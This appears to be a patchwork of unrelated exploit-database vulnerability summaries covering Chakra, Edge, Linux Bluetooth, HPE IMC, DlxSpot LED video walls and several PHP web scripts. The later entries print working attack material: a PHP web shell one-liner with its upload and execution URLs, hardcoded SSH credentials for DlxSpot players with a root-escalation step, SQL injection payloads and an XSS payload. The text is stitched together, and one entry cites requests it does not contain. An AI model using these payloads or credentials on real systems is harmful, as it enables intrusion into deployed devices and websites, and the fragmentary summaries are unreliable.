When the DeferParse feature is enabled in Chakra, the bytecode generated for a function expression is different than when the feature is disabled. This can lead to incorrect opcodes being emitted, which can result in a type confusion vulnerability.
When the Chakra's parser meets '{', at first, Chakra treats it as an object literal without distinguishing whether it will be an object literal or an object pattern. After finishing to parse it using 'Parser::ParseTerm', if it's an object pattern, Chakra converts it to an object pattern using the 'ConvertObjectToObjectPattern' method. The problem is that 'Parser::ParseTerm' also parses '.', etc. using 'ParsePostfixOperators' without proper checks. As a result, an invalid syntax (i.e., {b = 0x1111...}.c) can be parsed and 'ConvertObjectToObjectPattern' will fail to convert it to an object pattern. In the following PoC, 'ConvertObjectToObjectPattern' skips '{b = 0x1111...}.c'. So the object literal will have incorrect members (b = 0x1111, c = 0x2222), this leads to type confusion (Chakra will think 'c' is a setter and try to call it).
This proof of concept exploit is used to crash a Linux system running kernel version v3.3-rc1 and later. The exploit involves replacing requests and responses in the Bluetooth Protocol stack with malicious ones, and then running code to send them. The malicious requests and responses are provided in the text.
There is an out-of-bounds read issue in Microsoft Edge that could potentially be turned into remote code execution. The vulnerability has been confirmed on Microsoft Edge 38.14393.1066.0 (Microsoft EdgeHTML 14.14393) as well as Microsoft Edge 40.15063.0.0 (Microsoft EdgeHTML 15.15063). When opening the PoC in Edge under normal circumstances, the content process will occasionally crash somewhere inside Js::CustomExternalObject::GetItem which corresponds to 'var test = options[4];' line in the PoC. Note that multiple page refreshes are usually needed to get the crash. The real cause of the crash can be seen if Page Heap is applied to the MicrosoftEdgeCP.exe process and MemGC is disabled with OverrideMemoryProtectionSetting=0 registry flag (otherwise Page Heap settings won't apply to the MemGC heap). In that case an out-of-bounds read can be reliably observed in COptionsCollectionCacheItem::GetAt function.
If Edge displays a HTML document from a slow HTTP server, it is possible that a part of the document is going to be rendered before the server has finished sending the document. It is also possible that some JavaScript code is going to trigger. By making DOM modifications before the document had a chance of fully loading, followed by another set of DOM modifications afer the page has been loaded, it is possible to trigger memory corruption that could possibly lead to an exploitable condition.
This exploit is based on a Java deserialization vulnerability in HPE/H3C IMC (Intelligent Management Center). It allows an attacker to execute arbitrary commands on the target system by sending a specially crafted request to the server. The exploit can be used with either a binary payload file or a string payload.
A vulnerability in DlxSpot - Player4 LED video wall allows an attacker to upload a malicious PHP shell and execute arbitrary commands on the system. This can be done by visiting http://host/resource.php and uploading a PHP shell, such as <?php system($_GET["c"]); ?>. The attacker can then execute arbitrary commands on the system by visiting http://host/resource/source/shell.php?c=id.
DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc. Hardcoded password for all dlxspot players, login with the following credentials via SSH username: dlxuser password: tecn0visi0n Escalate to root with the same password.
SQL injection on [cat] parameter. Proof of Concept (PoC): SQLi: http://localhost/[path]/browse-category.php?cat=xxxxx' AND 4079=4079 AND 'zpSy'='zpSy Parameter: cat (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cat=10c4ca4238a0b923820dcc509a6f75849b' AND 4079=4079 AND 'zpSy'='zpSy
Foodspotting Clone allows you to initiate your very own social networking website that similar appearance as Foodspotting and additional food lover websites. Reflected XSS/SQL injection on [resid] parameter. SQLi: http://localhost/[path]/restaurant-menu.php?resid=' AND SLEEP(5) AND 'nhSH'='nhSH Parameter: resid (GET) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: resid=' AND SLEEP(5) AND 'nhSH'='nhSH Type: UNION query Title: Generic UNION query (NULL) - 14 columns Payload: resid=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627a71,0x435a72445467737074496d6e5a7855726f6e534c4b6469705774427550576c70676d425361626642,0x71767a6271),NULL,NULL,NULL-- aIwp Reflected XSS: http://localhost/[path]/restaurant-menu.php?resid=/"><svg/onload=alert(/8bitsec/)>